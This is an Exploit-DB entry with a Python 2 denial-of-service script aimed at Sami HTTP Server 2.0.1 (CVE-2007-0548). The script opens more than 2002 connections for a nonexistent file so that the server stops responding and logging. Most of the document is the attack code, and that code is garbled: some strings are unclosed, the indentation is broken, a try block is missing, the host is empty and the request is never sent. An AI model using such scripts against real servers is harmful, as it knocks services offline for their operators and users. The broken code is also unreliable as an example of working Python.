Sami HTTP Server 2.0.1 HTTP 404 - Object not found DoS Exploit

ID EDB-ID:3182
Type exploitdb
Reporter shinnai
Modified 2007-01-23T00:00:00


Sami HTTP Server 2.0.1 (HTTP 404 - Object not found) DoS Exploit. CVE-2007-0548. Dos exploit for windows platform

                                            #!/usr/bin/env python
import socket

print "-----------------------------------------------------------------------"
print "Sami HTTP Server HTTP 404 - Object not found Denial of Service"
print "url:"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site:"
print ""
print "The server is unable to handle more than 2002 requests to nonexistents"
print "files, pages, folders etc."
print "When the number of requests exceed the 2002, it stops to answer,
print "to write to log file and the admin will be unable to kick or ban
print "The only thing you can do is to kill the process."
print "-----------------------------------------------------------------------"

host = ""
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   conn = s.connect(("",80))
   for i in range (0,2004):
       request =  "GET /some.txt HTTP/1.0 \n\n"
       connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       connection.connect((host, port))
       print i
   print "Unable to connect. exiting."

# [2007-01-23]